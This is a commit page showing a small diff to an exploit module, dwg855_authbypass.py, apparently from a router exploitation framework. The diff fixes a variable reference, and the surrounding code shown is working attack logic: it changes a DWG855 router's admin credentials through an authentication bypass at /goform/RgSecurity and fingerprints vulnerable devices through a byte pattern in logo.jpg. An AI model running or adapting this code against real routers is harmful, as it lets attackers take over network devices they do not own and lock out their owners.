Commit 0bf6b310 by 0BuRner Committed by GitHub

Update dwg855_authbypass.py

parent f8b4aa2b
......@@ -37,7 +37,7 @@ class Exploit(exploits.Exploit):
# The check consists in trying to access router resources with incorrect creds. in this case logo.jpg Try it yourself!
vulnresp = binascii.unhexlify('114475636b7900') # Hex data of 0x11 + "Ducky" + 0x00 found on image "logo.jpg"
def run(self):
print_status("Changing " + self.target + " credentials to " + self.nuser + ":" + self.npass)
url = sanitize_url("{}:{}/goform/RgSecurity".format(self.target, self.port))
......@@ -48,7 +48,7 @@ class Exploit(exploits.Exploit):
if response is None:
print_error("Target didn't answer request.")
elif vulnresp in response.text.encode('utf-8'):
elif self.vulnresp in response.text.encode('utf-8'):
print_success("Credentials changed!")
elif response.status_code == 401:
print_error("Target answered, denied access.")
......@@ -72,7 +72,7 @@ class Exploit(exploits.Exploit):
if response is None:
return False # target is not vulnerable
elif vulnresp in response.text.encode('utf-8'):
elif self.vulnresp in response.text.encode('utf-8'):
return True # device is vulnerable
elif response.status_code == 401:
return False # target is not vulnerable
......
Markdown is supported
0% or
You are about to add 0 people to the discussion. Proceed with caution.
Finish editing this message first!
Please register or to comment